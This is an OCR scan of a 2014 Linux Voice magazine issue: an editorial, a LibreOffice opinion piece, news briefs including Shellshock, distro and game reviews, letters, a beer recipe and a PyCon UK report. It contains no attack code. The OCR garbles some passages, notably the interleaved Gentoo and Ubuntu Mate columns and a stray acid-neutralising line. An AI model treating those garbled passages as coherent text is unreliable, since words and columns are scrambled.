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F*CK FILTERING 


Home::1 from AAISP is broadband that comes without 
unpleasant ‘extras’ like filtering, carrier grade NAT and 
offshore call centres. The service comes with one static 
real IPv4 address and a block of real IPv6 address space. 
In short, Internet the way it was meant to be. 
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OFFICE::1 BROADBAND 
BUSINESS GRADE CONNECTIVITY 


Two dedicated broadband lines; two 
modems plus a spare, a FireBrick 
bonding appliance/router and a 3G 
dongle for failover are the ingredients 
that make up Office: 1 Broadband 
from Andrews & Arnold. 


¢ Highly redundant connectivity 
¢ No censorship 

¢ Real IPv4 and IPv6 

* Pro-active line monitoring 

¢ Staff who use Linux daily 


Contact us today via telephone, email, SMS or IRC! 


Welcome to Linux Voice 


The issue 


VOICE 


A free software advocate 
and writer since the late 
1990s, Graham is a lapsed 
KDE contributor and author 
of the Meeq MIDI step 
sequencer. 


= 


here's a point in our interview with Tim O'Reilly (040) where 

he says, “It used to be the case that free and open went 

together, and expensive and proprietary went together. 
Now proprietary and free, as in price, are overlapping.” ON PAGE 62 

| must admit, | used to find the high-quality and no-cost of online 

and cloud services a difficult argument to counter — | used them 
for years. But I've profoundly changed my mind. And once again, 
it's Linux, open source and Free Software that provides the only 
alternative. The problem is that while these free services are 
proprietary, we, as individuals, have no voice. You can’t phone 
Google and ask them why your account is locked. With OS X 
upgrades costing nothing, your recourse with Apple is different 
from how it would be if you'd spent £100. And who's betting 
Microsoft charges nothing for a Windows 10 upgrade? It muddies 
our consumer rights, it gives companies like Apple the belief it can 
push the latest U2 album to our devices, and it locks us in. 
The only real alternative is Linux and open source. 
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Graham Morrison 
Editor, Linux Voice 


Hot on the heels of the The kernel is a weird place, alittle | We've got a monster epic guide 
Shellshock vulnerability, Ben has __ like Pandora in Avatar. Andrew for coding beginners — learn 
written a tutorial on exploiting it Conway's wonderful tweaking Python while making lovely, 
to protect yourself. p90 guide makes it childsplay. p26 infinitely complex fractals. p96 
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@ Kobo Aura H,0 
An e-reader you can safely read 
in the bath — oh look, there’s an 
EPUB version of Linux Voice! 


To neutralize an acid, add some alkali to get salt and water 
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@ Geary 0.8 
Take an email client, then make 
it as simple as it can be, but no 
simpler. That's Geary. 
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& MoPi 
For hacking on the road, this 
power adaptor and monitor for 
Raspberry Pi is jolly useful. 


& Books A man will turn over half 
a library to make one book. 
We've made a start... 


what if? 
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V ANALYSIS 


NEWSANALYSIS 


The Linux Voice view on what's going on in the world of Free Software. 


Opinion 


Four years of community progress 


Founded by a community split, LibreOffice is innovating in a way that we need to emulate. 


Simon Phipps 

is president of the 
Open Source Initiative 
and a board member 
of the Open Rights 
Group and of Open 
Source for America. 


~~ 


he last weekend in September was 
[ the 4th anniversary of the founding 

of the LibreOffice project. Since its 
founding, the project has grown in leaps and 
bounds, becoming the default in most Linux 
distributions for handling office documents 
and presentations. What lessons can be 
learned from its first four years? 

The project is hosted in a new (for open 
source) form of organisation. Having 
watched other projects become over- 
influenced by business politics, the 
LibreOffice project decided to create a legal 
entity around the code that provided a level 
playing field for all involved. It uses a 
German non-profit structure called a 
“Stiftung”, a very stable and essentially 
immutable trust designed for the long term. 
It's the sort of structure one generation 
creates to carry care of a building or a 
monument for future generations. The 
project created The Document Foundation 
(TDF) to protect itself, a move regarded by 
the authorities in Germany as radical and 
unusual but ultimately endorsed by the 
regional government of Berlin. 

TDF is run by Members, who are the legal 
trustees of the organisation and who are 
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active contributors admitted by an elected 


Membership Commi 
volunteered for a whi 


tee (where | 
e). The Members elect 


a board of directors each year, who are them 


empowered to run th 


e formal affairs of the 


community. There's no overall “boss” -- the 
membership committee runs the board 
elections and the board runs the 
membership committee elections. This 
stable structure with strict rules is fairly 
actively overseen by Berlin to ensure the 
rules are followed, ensuring even the best 
game-playing corporations can't take over. 


Foundations of success 

LibreOffice is well-funded in what seems a 
safe and sustainable way. Some of the 
funding comes from an Advisory Board 
mechanism similar to those used by many 
other open source communities like Gnome. 
Advisory Board members are essentially 
sponsors; they gain no governance role and 
donate either funds or expertise because 
they want to see the project succeed. Wise 
projects make sure they are neither 
dependent on a single sponsor nor fully 
dependent on corporate sponsors. So 
LibreOffice also gets substantial funding 
from donations. With 80 million active users, 
it only takes a small donation from each 
person visiting the web page and LibreOffice 
has received enough cash this way to be 
able to hire a full-time executive director. 

As well as innovative governance and 
funding, the project has also been focussing 
the work of hundreds onto the code. Talk 
about “quality” and “buggy code” is cheap 
and flows freely both as insult and plaudit, 


“Four years on, LibreOffice is setting the standard 
for how an open source project should be run.” 
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but there’s a more concrete measure 
available. A research project into automatic 
detection of the most common software 
defects became a company called Coverity, 
and today they offer open source projects 
free access to their commercial tools to both 
evaluate code quality and to detect defects. 
Today well over 2500 projects make use of 
his “Coverity Scan” and provide a 
convenient way to track code improvement 
in each of them. The tool calculates a “defect 
density” score of defects detected per 1000 
ines of code. A project this size has an 
average defect density of 0.65. When TDF 
inherited the code from OpenOffice.org, the 
defect density was 1.11, but they have had a 
eam focussed on the Coverity Scan and 
over the four years they have achieved a 
more than ten-fold improvement, getting it 
down to 0.08. That's an impressive 
achievement, reflecting the broader 
dull-but-essential work of robust rest-anc-fix. 
Today the code is slimmer, has an order of 
magnitude fewer defects, includes asserts 
and unit tests to prevent regressions and as 
a consequence loads faster and fails less. 

So four years in, what are the lessons? 
First, focus on the code. Make it great, make 
it accessible to newcomers, make it easy to 
build and test, make quality a priority. 
Second, create equality. TDF has created a 
level playing field with its governance where 
many companies are able to collaborate 
alongside a cornucopia of volunteers. Third, 
spend wisely. Money is not always a blessing 
to an open source project and spending it 
without creating divisions is hard to do. 

Starting a new open source project is 
hard; forking an existing one is painful; 
creating a new large non-profit Foundation 
is much harder still. But four years on, 
LibreOffice is setting the standard for how it 
should be done. 


ANALYSIS V 


Minecraft * Netflix * TrueCrypt * Gnome 3.14 * Photoshop « Shellshock 


CATCHU 


Summarised: the biggest news 
Stories from the last month 


Debian to switch (back) to 

Gnome as default desktop 

The last release of Debian 
featured Xfce as its standard desktop, 
argely due to its compact size — it 
meant that a whole Debian system 
could fit on a CD. But now it looks 
ike the distro will switch back to 
using Gnome as the default, primarily 
because that desktop has better 
accessibility support and systemd 
integration. It could mean that the 
single-CD version of Debian gets 
canned, but the distro team doesn't 
seem particularly worried about that. 


NHS ditches Oracle DB in 

favour of NoSQL 

Bye bye Oracle! Yes, the UK's 
National Health Service, the country's 
largest employer, is ditching its 
Oracle-based backbone and is moving 
to a NoSQL solution called Spine2. This 
will use an open source stack on top of 
Linux, all running on commodity 
hardware. Some NHS IT projects have 
failed spectacularly in the past, but this 
switch has been in the planning stages 
for three years, so it should go more 
smoothly. A good time for Larry Ellison 
to step down as Oracle CEO... 


=m Adobe Photoshop comes 
7 to Linux! Well, sort of... 
saa Whether you love the 
company or hate it, there’s no doubt 
that Adobe has a lot of clout when 
it comes to media and productivity 
software. Google has announced that 
Photoshop and other Creative Cloud 
programs will be coming to Chrome 
OS — which, of course, is based on the 
Linux kernel. So it doesn’t mean we'll 
be shopping images on our regular 
GNU/Linux boxes any time soon, and 
it's still proprietary software, but at 
least it's a step in the right direction. 


Netflix finally comes to 

Linux! Well, sort of... 

We Linux users haven't had 
the best time with Netflix, the world's 
most popular streaming video service. 
Sure, it's possible to use it via the 
Pipelight plugin and plenty of fiddling, 
but now things have gotten a lot easier 
with development builds of Google 
Chrome. By tweaking your user agent 
string and using the HTML 5 video 
mode of Netflix, you can now stream 
videos without add-on software. It's 
still a bit of a hack, and we'd like official 
support from Netflix, but it's a start. 


Microsoft buys Minecraft 

creator for huge sum 

This isn’t directly Linux 
related, but we know that plenty of 
people enjoy Minecraft, the vastly 
popular sandbox construction engine, 
on their Linux machines. Microsoft has 
snapped up Mojang, the company 
behind the game, for an impressive 
$2.5bn — and its founder is leaving to 
concentrate on other things. So what 
happens now? Will Microsoft work on 
Minecraft 2, which just so happens to 
only work on Windows? Will the Java 
version be discontinued? Time will tell. 
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TrueCrypt project is 
3 | reborn as CipherShed 
Back in May, the popular 
TrueCrypt encryption software was 
discontinued under mysterious 
circumstances. But now a fork has 
brought the codebase back to life, and 


development snapshots are here: 
www.ciphershed.org 


4p) Ciphershed 
Secure Encryption Software 


Gnome 3.14 to further 

integration with systemd 

This is related to the first 
news story this month, and hasn't been 
well received by everyone. The next 
release of Gnome will make deeper use 
of systemd, especially its user Sessions 
management. This means the desktop 
can drop support for the (unmaintained) 
ConsoleKit, but questions have arisen 
about future Gnome releases working 
on other operating systems, such as 
FreeBSD. There's a good explanation 
about the reasoning here: 
http://tinyurl.com/p8e24h4 


“Shellshock” vulnerability 

in Bash shakes the web 

We've got more about this 
on page 90, but in brief: a decades- 
old security hole in Bash has been 
discovered, making potentially millions 
of web servers open to exploitation. 
Most distros have rushed out patches 
to mitigate the problem, but it’s a 
reminder that despite the benefits of 
free and open source software, if very 
few people are looking at crusty old 
code, bugs can remain unspotted for a 
long, long time. If you haven't upgraded 
yet, we recommend doing it now. 


Vv DISTROHOPPER 


DISTROHOPPER 


Our pick of the latest releases will whet your appetite for new Linux distributions. 


Open Media Vault 


Keep your data backed up. 


pen Media Vault (OMV) is a Network 
O Attached Storage (NAS) system 
built on open source software. 

Traditionally, this is an area that has been 
dominated by the BSD flavour of Unix, but 
there are now a few Linux NAS systems 
fighting back. It’s straightforward to install 
OMV through its Curses-based installer. You 
just enter some basic details (username, 
password, and a few other bits and pieces), 
and the rest of the installation is automatic. 

When you boot the machine following an 
install, it will go to a text-based Linux login 
that tells you the IP address to access the 
machine at. By default, you'll have web 
access to a control panel, and from here you 
can enable SSH, FTP Rsync and other 
access protocols, as well as adding users 
and managing the system. 

With GUI control panels, there's always a 
trade-off between how easy it is to use a 
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OpenMediaVault web administration interface - openmediavault.local - Mozilla Firefox 


&) OpenmediaVault we... x 


€  @192.168.56.101 


|= ~E)OrenMedioVautt 


«| | (}| Diagnostics | 4% System Information 
Overview Processes ‘Status 


Report 

‘openmediavault local 

1.0.20 (Kralizec) 

Inte\(R) Core(TM) i7-4770 CPU @ 3.40GHz 
Kernel Linux 3.2.0-4-amd64 

Fri 19 Sep 2014 14:31:51 BST 

(0 days 0 hours 2 minutes 25 seconds 

0.02, 0.02, 0.01 


With Open Media Vault, you can set up a NAS without ever having to go near the command line. 


system and how complicated the control 
panel is. OMV's control panel is easy to use, 
but you need to know what you want to set 
up, so it’s not a completely trivial affair for 
non-technical people. 

Advanced users may miss the power of 
ZFS configuration that's possible with some 
of the BSD and Solaris based NAS solutions. 
Technically, it is possible to add ZFS, but 


A distro that’s keeping KDE 3 alive in a KDE 5 world. 


ost KDE users are preparing 
themselves for the shift from 
version 4 to version 5. However, a 


few hardy souls still maintain that the 
desktop reached perfection in version 3, and 
still cling doggedly to it. The Trinity project 
forked KDE 3 after development stopped in 
2008, and has continued releasing bugfixes. 
Q4OS uses the Trinity desktop to provide 
what the developers claim is a “fast and 
powerful desktop operating system 
designed to offer classic-style user interface, 
long-term stability and strong foundation for 
complex third party applications.” 

There was nothing wrong with KDE 3 — 
indeed, it was a great desktop environment, 


possibly the best desktop environment of its 
day. Here at Linux Voice, we have fond 
memories of it. We even clung to it for a 
while in the face of the early releases of KDE 
4. However, times have moved on; fashions 
have moved on; the way we use computers 
has moved on; but Trinity hasn't moved on. 
Q4OS is good for a nostalgia, but we 
struggle to think of a reason to recommend 
it beyond this. If you're looking for a Qt+based 
environment that's less resource hungry 
than KDE 4 (or 5), then Razor Qt or the 
upcoming LXQT would be a better option. 
Some commentators have touted it as a 
potential refuge for Windows XP users not 
willing to go to Windows 8. The design is 
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only through the command line rather than 
the web control panel. OMV is based on 
Debian Wheezy, so anything that's possible 
on that should be possible on OMV. 

Open Media Vault should work well for 
most home or small office networks. It's 
most suited for people comfortable using 
Linux who don't want to make the switch to 
BSD for their NAS. 


No, really, this image, resplendent in KDE 3, is 
of a distro released in 2014. 


certainly inkeeping with the trends of the 
same era, but we're not convinced that this 
iS reason enough to hold back the future. 
There is a place for distros with slow 
change cycles that don't force new ways of 
working on unsuspecting users every year 
or two, but Q40S takes it just a little too far. 


Gentoo 


Speed freaks and tinkerers only need apply. 


round 14 million years ago, the 

gentoo penguin split off from the 

chinstrap and became an 
independent species. In this time, it's 
adapted to become one of the fastest 
species of penguins and can swim three 
imes as fast as the emperor penguin. 


12 years ago, Gentoo became a 
independent Linux distribution built for 
speed. It gets this speed by providi 


packages as source code rather than binary 

packages. This source code can then be 

compiled and optimised for the specific 

machine it's installed on. This build-it- 

yourself philosophy goes beyond just 

compilation though, and makes Gentoo one 

of the most configurable systems available. 9" "* — 
Of course, speed is amany-faced concept. Compiling KDE from scratch gives you access to even more options than the already overloaded 

While it may be quicker to run things on configuration files. There’s a speed boost, but it's more about the customisation for Gentoo users. 

Gentoo, it's slower to install them (you can 

also install binary packages to save time if While speed is often the reason Gentoo The compilation opens up a whole set of 

you wish). With each new, better, faster users give for using the distro, we suspect options that many Linux users never knew 

generation of hardware, the overhead of that this isn't really the case. Specifically they had. If you like to tinker — really tinker 

compilation gets smaller. Still, it's worth compiled code is like tailor-made clothes, — with your system, then Gentoo might be 

considering the processing power of your but instead of fitting your body perfectly, it for you. It may make your computer a little 

computer when deciding whether to use fits your CPU exactly how it should. It just quicker, but let's be honest here, it's more 

Gentoo Linux. feels better in a way that's hard to describe. about the joy of tinkering, isn't it? 


Ubuntu Mate looks and feels nice — like an updated version of pre-Unity [RSTn 
Ubuntu, just less brown and orange. This might be too little, too late 

though, as most Ubuntu users who don't like Unity have long since left 
to find other distros, such as Mint, which is based on Ubuntu and LN i 


already comes with the Mate desktop. M pea 
There are a few differences between Mint Mate and Ubuntu Mate = a ; 
though. For example, Ubuntu Mate has the software centre and has oe Ga . 
simpler access to a lot of non-free software. Now that Mint's going to BP Universal Access + ® dconf Editor Browse the file system with the file manager 
be based solely on LTS releases (with some back-ported features), @ Disk 3 


Ubuntu Mate should have more up-to-date software. There isn’t much 
difference now, as we're only a few months from the previous LTS 
release, but in a year’s time, there will probably be a pronounced 
difference (of course, people who don't like chasing the latest releases 
may prefer the more sedate release pace of Mint Mate). On the other ubuntu MATE 
hand, the Mate desktop is developed by the Mint team, so Mate-specific 
software will probably start being released on a schedule to work best 
with Mint. 

At the time of writing, Ubuntu Mate wasn't an official spin, and it's 
not clear if it ever will be. This shouldn't overly trouble users, but it 
might mean there's a slight delay between when a new version of 
Ubuntu is officially released and the new version of Ubuntu Mate is 
coming out. It's too soon to tell how long this delay will be though. 

As we've come to expect from prominent Ubuntu spins (even 
non-official ones like Mate), it's well themed and looks good out of the 
box. The development team haven't tried to recreate the look of older 
versions of Ubuntu; instead, they've tried to create a new look that is Ubuntu Mate is the most anticipated Ubuntu release of the year, despite the 
modern yet still has a familiar feel to it. fact that it hasn’t come from Canonical, Ubuntu’'s parent company. 


Power Statistics 
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Liam Dawe is our Games Editor and 
the founder of gamingonlinux.com, 
the home of Tux gaming on the web. 


ow that Linux gaming is in 

full swing, things that didn't 

previously affect our 
platform are starting to put Linux in 
the firing line. 

What we are talking about is 
Crowdfunding and Early Access 
games, and the feeling from many 
that they are starting to wear a bit 
thin. Some gamers have even stated 
they feel that these funding methods 
are ruining the games industry, but 
we don't think it's as severe as this. 

There are always going to be risks 
when you front your own money to 
help a developer bring a game to life, 
and you should always go into it 
knowing this and accepting this. 

With these methods of funding, 
you are helping to fund an idea, but 
not a 100% complete game, and it 
seems some people are forgetting 
this in the wider community. 

Some planned features may not 
always make it in; that’s perfectly 
normal for game development and it 
happens a lot. The issue is that when 
using these funding methods the 
developers’ ideas get taken as fact, 
and when these features are cut 
some gamers get very upset. 

The main problem is a lack of clear 
communication from developers, and 
especially in relation to Linux ports. 
We hope this is something developers 
will work on. These funding methods 
are constantly evolving, so to call 
them out as being bad for the 
industry is a little extreme. They have 
created a chance for many Linux 
games we might otherwise never 
have, so let's look on the bright side. 
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ON LINUX 


Borderlands 2 


Are you ready to shoot & loot? 


ne of the hottest first- 

person shooters of 

the last few years is 
undoubtedly Borderlands 2 and 
it has been officially released 
for Linux! This is absolutely 
massive news, as it's a high 
budget game and another big 
name to be playable on Linux. 

It blends “cell-shaded” 
graphics with frantic shooter 
action, and It throws in some 
neat RPG mechanics. Each 
character has special abilities, 
so be sure to try them all to find 
who fits your style! 
The loot system is also 

fantastic as you will constantly 
find better guns, some of which 
have some fun weapon effects 
on them to boost their power. 


Tropico 5 


It cannot be understated 
how important games like this 
are for growing our platform. 

Important Note: It's only 
supported on Nvidia graphics 


Power corrupts. That sounds like fun to us! 


ropico 5 is the latest 

instalment in the very 

popular city-builder 
series, and the first in the series 
to be on Linux. 

You get to create your 
very own dictator to run a 
tropical island and do with it 
as you wish, but be careful 
not to annoy the crown as 
you secretly prepare for 
independence! 

It has the typical city-builder 
features like roads (I know, 
exciting right!), houses and 
commerce, but it does things a 
little differently with a comical 
edge to it. 


You will need to create 
army units to protect your 
city with, and search out 
your surroundings for riches 
and wonders. The best part 
of Tropico 5 has to be the 
multiplayer mode; you can 
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cards right now. If it sounds like 
your cup of tea, it's available for 
£19.99 from Steam. 
http://store.steampowered. 
com/app/49520/ 


build online with others, and tt 
can get very amusing with lots 
of dictators battling it out. 

You can grab it on Steam 
right now for £34.99. 
http://store.steampowered. 
com/app/245620 


Another World 


Areal gem from another time. 


nother World (or Out of this World 
as it was called in some places) 
is an absolute classic from a 
different era of video games. The 20th 
anniversary edition has just made its 
way onto Linux courtesy of game porting 
master Ryan “Icculus” Gordon. 
The game came from a time where the 
Amiga system was going strong and it 


Counter Strike 
Global Offensive 


Classic first-person shooter. 


Counter Strike: Global Offensive is the 
latest iteration of the massively popular 
online FPS from Valve, and it has officially 
landed on Linux, bringing with it some 
frantic action. 
One of the new modes, titled “Arms 
Race”, is an absolute blast online as you 
change weapons with each kill and end up 
ona knife, upping the intensity with each 
kill. Based on the latest version of Valve's 
own Source engine, it looks and plays 
beautifully already, even being such a 
new release. And, knowing Valve, it will be 
supported for many years to come. 
Available on Steam for £11.99. 
http://store.steampowered.com/ 
app/730/ 


was praised highly on its release. So many 
years later, Linux gamers can get in on 

the action. 

f you have never played it, we really 
suggest giving ita go to see a piece of 
gaming history in action. 

t's available for £7.99 from Steam. 
http://store.steampowered.com/ 
app/233550/ 


Outlast 


One of the scariest games ever made. 


It's time to hide behind your cushions — it 
looks like Outlast is heading to Linux! 
Outlast is a first person survival 
horror game (bit of a mouthful!) and it's 
absolutely terrifying to play in the dark! 
You can check it out on Steam below, 
but be warned not to buy it until the 
Linux release appears to avoid being 
disappointed and to have your purchase 
count as a Linux sale to help our platform. 
http://store.steampowered.com/ 
app/238320/ 
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WE'RE DOING SOMETHING RIGHT! 


Looking awesome! | haven't 
kept on top of the magazine, 
but decided to read Issue 8 
today and just the front cover 
is enticing, lots of articles 
about Linux-y things that 
interest me. 

Reading the gaming section, 
| was alittle disappointed 
that every single link was to 
Steam. | think Valve has done 
a lot to boost Linux gaming 
support in general this last 
year, but that doesn’t entirely 
do away with their general 
bad attitude towards software 
ownership. While most 
games require Steamworks 
(eg Civilisation 5), | think it's 
worthwhile to highlight when 
a developer has put the effort 
into avoiding this (eg Kerbal 
Space Program), or older titles 


PHOTOSHOP 


Good Lord — Adobe is bringing 
Photoshop to Chrome OS! Which, 
basically, means that it'll be 
working on Linux before too long. 
This is a massive leap forward — 
I've been messing about with Gimp 
and Photoshop for years now, and 
Gimp is great, but Photoshop has 
the edge when you're exporting 
for print (I like to have physical 
copies of my photos, not just 
computer files). Another fantastic 
application is coming our way — 
Linux is winning! 

David, Ponteland 
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have been repackaged DRM- 
free (eg A! War) rather than 
just re-releasing them 

on Steam. 

GOG.com haven't been 
friendly to Linux in the past, 
but they currently offer both 
Debs and tarballs for an 
increasing catalogue, with 
official support for Ubuntu/ 
Mint and a 30 day money-back 
guarantee if it doesn’t work on 
your system, and store credit 
for losing out on regionally- 
priced games. 

| also saw the Dungeons 2 
announcement, but | think 
War For The Overworld is more 
likely to become the unofficial 
Dungeon Keeper 3. WFTO 
has Linux builds, now with 
multi-player and the DRM-free 
release has been announced 


Andrew says: Photoshop is indeed 
fantastic, and I'm glad that Adobe 
realises how much money it could 
make out of Chromebook users (an 


eventually, it will make a few quid out 


of us Linux users too). But another 
factor is that this will have a huge 


effect on Gimp. For years now it has 


been the preeminent image editing 
software on Linux, and that has 


Steam is a big deal for games, and potentially a bigger deal for Linux. 


for February. Other than the 
Dungeons 2 mention, the 
actual content of this section 
was a good sample of games, 
hopefully the “history of” 
article will also be good. 

Phil Morrell 


Graham says: Thank you for such 
a comprehensive letter. And | 
think you're absolutely right. It’s 
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meant that there's been little point in 
adding the one missing feature that it 
needs — CMYK support. With a serious 
competitor, Gimp will have to up its 
game or face extinction. 


www.linuxvoice.com 


not our strategy to focus purely 
on Steam, but with so many 
high-profile developers following 
Valve's lead, it’s difficult not to 

- this month is no different with 
the release of Borderlands 2, for 
example. 

But we will make an extra effort 
to cover other independent 
games publishers, especially 
those whose titles are DRM-free. 


Photoshop takes a million years to learn properly — which is one 


factor contributing to lock-in. 


RASPBERRY PI 


Thanks for the group test of 
Raspberry Pi distros in LVO008. 

I'd never tried Arch before, but 
having it there in the installer made 
me go for it. | feel duty bound 

to point out however that you 
missed out RetroPi, which turns 
your Raspberry Pi into a SNES, 

a Megadrive or a bunch of other 
consoles and makes college essay 
deadlines even harder than they 
would othewise be. | love it and 
hate it in equal measure. 


qué 


I'VE 


MANAGED TO 
SECURE AN EXCLUSIVE 
INTERVIEW WITH 
O'REILLY'S ART 
DIRECTOR 


Graham says: There are loads of 
alternative operating systems out 
there for the Pi - Arch included - but 
we focussed on the ones that are 
included by default in Noobs, the 
easy Raspberry Pi installer. | reckon 
we did the right thing, because 
RetroPi look like a modified form of 
Raspbian, but Mike says anything that 
makes it easier to play SNES games 
is wonderful and we should have 
included it. Thanks for bringing it to 
our attention. 


www.linuxvoice.com 


Raspbian’s great, but there’s so much 
else to explore — try another OS and 
see how your Pi works differently. 


MAIL V 


AWWW, THANKS 


Congratulations on another 
fantastic issue people, it’s the best 
yet. | love the tutorials, I’m learning 
so much. 

James, Bedford 


Andrew says: Hmm. You don't actually 
say which issue is the best yet... which 
suits us, as we hope the best yet is 
always the current one and the next 
issue will be even better. 
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TIM O'REILLY 


THE SAGE 


Why print isn’t dead 
(but ORM shouldbe), 


GRAPHICAL ENVIRONMENT 


GNOME 


What next for our ol 
favourite desktop? 


The issue you're reading is the best 
one ever... at least until the next 
one comes out. 


WELL, 
THERE'S AN 
INTERESTING 
STORY ABOUT 
THAT... 


CC-BY-SA WWW.PEPPERTOP.COM 
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FREEDOM ISN'T FREE 


| have a problem. For years I've 
been evangelising free software 
in what | think is the best possible 
way: by using it, helping people out 
with their problems and showing it 
off to whoever’s interested. | don’t 
believe in shouting about it, and 
| do believe that a horse will only 
drink when it's thirsty. But | have a 
problem. 

A friend of mine still doesn’t 
get the distinction between 
‘freeware’ and ‘free software’. She 
‘discovered’ the meaning of the 
word ‘Ubuntu’ recently and asked 
me what African philosophy has 
do with ‘freeware’! I’m clearly 
not getting through. Do | go full 
Stallman on her? Or just find better 
friends? 
Richard Bosworth 


Andrew says: There's always room 
for argument about the merits of free 
software vs proprietary. The trouble 
is that the lexicon used is so often 
skewed in favour of preaching to the 
choir. The distinction between ‘free 
as in beer’ and ‘free as in speech’ is 


YOUR AD 


neat, but so much of our terminology 
misses the masses — a case in point 
being the four freedoms (the freedom 
to run the program the way you want; 
the freedom to study how the program 
works; the freedom to share the 
program; and the freedom to modify 
the program). It’s typical that even 


with something as fundamental as 
this we manage to overcomplicate 

it by numbering them 0-3 rather 
than 1-4 like normal people would. 
We must do better. People are 
clever — if they don’t understand, we 
should assume it’s our fault for not 
explaining clearly enough. 


File Edit View, Go Bookmarks Help 
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Examples 


“It's free, so it must be a trial version, right? | wonder what's wrong with it? 


HERE 


Email andrew@linuxvoice.com to advertise here 


Estimated original 
Gravity: 1.057 SG 
Estimated final 
Gravity: 1.013 SG 
Estimated bitterness: 
30.9 IBUs 

Estimated colour: 
16.8 EBC 

Estimated alcohol 

by Vol 5.8 


INGREDIENTS 

+ Muslin bag for 
steeping. 

+ 4.2kg Northern Gold 


Malt Syrup or a 
Pale Liquid Extract 


equivalent (15.8 EBC). 


* 0.55kg Munich Malt - 
10L (19.7 EBC) . 


+ 0.45kg Caramel/ 
Crystal Malt - 10L 
(19.7 EBC) 


+ 28.00g Cascade hops 
5.50% (45.0 min.). 


* Whirlfloc Tablet (15.0 
min.). 


+ 42.00g Cascade hops 
5.50 % 15.0 min. 


+ 28.00g Cascade hops 
5.50 % 5.0 min. 


+ White Labs WLP004 
(Irish Yeast) or 
Wyeast 1084 (Irish 
Yeast) or Safale 04 
Dry Yeast or Danstar 
Windsor Dry Yeast. 

* Priming sugar (if 
bottling). 


o recipe for our very own ma 


READER RECIPE 


(GNU FDL), so share and tweak it! 


Process: | use Northern 
Brewer Gold Malt. If you 
cannot get this liquid extract, 
buy a pale ale extract at your 
local homebrew store. | use 
Briess malts for the Munich 
and Caramel/Crystal malts. 
If you cannot find the these 
malts locally, you can use 
equivalent grains. The hops 
| used are in pellet form and 
come from HopUnion.com. 
As with the grains, you can 
substitute similar hops from 
your local homebrew store. 
First, pour 25L of water in 
your brewpot and bring the 


water temperature up to 74C. 


Steep the milled speciality 
grains for 30 minutes and 
keep the temperature around 
7A4C. Lift the muslin bag and 


let the wort drip out. Don’t 
squeeze the bag — just let the 
wort drip out of the bag. Add 
the malt extract and stir until 
the malt extract is dissolved. 
While adding the extract, 
bring the wort to a boil. The 
total wort boil time will be 60 
minutes. Add 28g of Cascade 
hops with 45 minutes 
remaining of the boil. 

Then add an additional 
42g of Cascade hops with 
15 minutes remaining in the 
boil. Also with 15 minutes 
remaining add 1 Whirlfloc 
tablet or Irish Moss to the boil 
for clarity. With 5 minutes 
left add the last Cascade hop 
addition of 28g. 

At the end of 60 minutes 
turn off the heat and start 


LINUX VOICE ALE (19L, EXTRACT) 


Linux Voice reader and avid homebrewer Glenn T Arnold sent us this 
azine beer. Of course, it's freely licensed 


chilling the wort down to 
65-68 degrees. Sterilise your 


fermenting vessel and the vial. 


When the wort has cooled 
down, pour it into your corby 
or ferment bucket. Then pour 
the yeast in the wort. Let the 
beer ferment for a minimum 
of aweek. If you still see 
fermentation after week, let 
the yeast ferment until the 
fermentation is done. Since 

it is an ale it should not go 
longer than two weeks. When 
fermentation is done rack the 
beer into a keg if you have a 
kegging system — or rack to 
a bottling bucket, add priming 
sugar and bottle. Let the beer 
condition for at least a week if 
you bottled your beer to allow 
the yeast to carbonate it. 


We like the taste of beer. Its live white lather, its brass-bright depths, the sudden world through the wet 


brown walls of the glass — that's why we use the Brew Pi for our home brewing projects 


a www.linuxvoice.com 
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LUGS ON TOUR 


PyCon UK 2014 


Josette Garcia has a grand old time with the Python community. 


n September, Coventry 
| fees PyCon UK — a 

conference of the Python 
community, by the community, and 
for the Python community. This 
year was the largest ever with just 
under 500 delegates in attendance. 
As usual at PyCon UK, you get 
more than just Python. 

For a Start, there were some 
excellent keynote speakers. 

A highlight was Van Lindberg (the 
chair of the Python Software 
Foundation — the charitable 
organisation that owns the 
intellectual property for Python and 
promotes its use). He talked about 
the growing success of Python and 
flagged some warning signs that 
need to be addressed if Python is to 
remain one of the world's most 
popular programming languages. 
Perhaps the most warmly 
received keynote was that given by 
Carrie Anne Philbin of the 
Raspberry Pi Foundation. She 
eloquently told the assembled 
conference of her journey as a 
teacher overcoming the prejudice 
of colleagues, learning Python, 
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attending PyCon UK a few years 
ago and ultimately landing a dream 
job promoting the educational 
strengths of the Raspberry Pi. She 
was especially passionate in 
encouraging delegates to get 
involved with all the various 
educational activities happening at 
PyCon UK and elsewhere. 
Within the main conference the 
talks and practical workshops were 
distributed into parallel tracks. As a 
result, there were always a lot of 
different things going on with many 
people moving between activities 
and bumping into friends old and 
new in the famous “corridor track". 
Workshops included Python in 
the cloud, game programming with 
Python, machine learning and a 
test-driven-development study 
group. The talks included such 
snappy titles as “Python for 


The Python community likes to borrow from the works of Monty 
Python — including their theme tune. 


“The main conference is more 
like Hogwarts or Willy Wonka's 
than an academic conference.” 


All the kids who turned 
up walked away with a 
Raspberry Pi, thanks 
to the Raspberry Pi 
Foundation. 


www.linuxvoice.com 
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Zombies’, “Simulating Quantum 
Systems’, “Is that jumper made of 
cats?” and the rather loud “Trouble 
at t'LeedsDataMill” (which featured 
a brass band and live tubas). 

The main conference is 
wonderfully eccentric: more like 
Hogwarts or Willy Wonka’s factory 
than, say, an academic conference 
or corporate event (despite the 
attendance of several professors of 
computer science and corporate 
interests such as premier sponsor 
Bank of America). 


Education, education, education 
A well known aspect of PyCon UK 
is its education track, which proves 
Guido van Rossum was correct 
when he said that “Python was 
created as a language for anyone to 
use”. To this end 45 teachers were 
sponsored to join the conference 
and took part in a professional 
raining day to work with developers 
and each other on matters 
pedagogical. Many went away 
inspired to try teaching with Python 
in their schools and several want to 


return to tell next year’s conference 
about the fruits of their labours. 

On the Saturday of the 
conference, 75 children joined the 
delegates for adventures in coding 
with Python. Under the guidance of 
experts they learned all about using 
Python to program Minecraft, 
robots, Raspberry Pi and 
quadcopters (to name but a few of 
the activities available). Each child 
was given a Raspberry Pi (thanks to 
the generous support of the 
RaspberryPi Foundation) as part of 
avery generous swag bag. 
n fact every delegate (young or 
old) got a T-shirt, mug and squeaky 
rubber “debug duck”. Apparently, 
you're supposed to tell the duck 
your programming woes and it will 
silently help you discover a solution. 

Diversity was also a hot topic 
with more women than ever before 
attending and speaking at the 


conference and with a 3-to-2 ratio in 
favour of girls at the kids’ day. 
Non-Pythonic happenings 
included the beer at the conference 
meal. It was brewed by Ben Croston 
of FuzzyDuck brewery in a process 
automated by RaspberryPi and 
Python scripts. It turns out that Ben 
also plays the tuba and was joined 
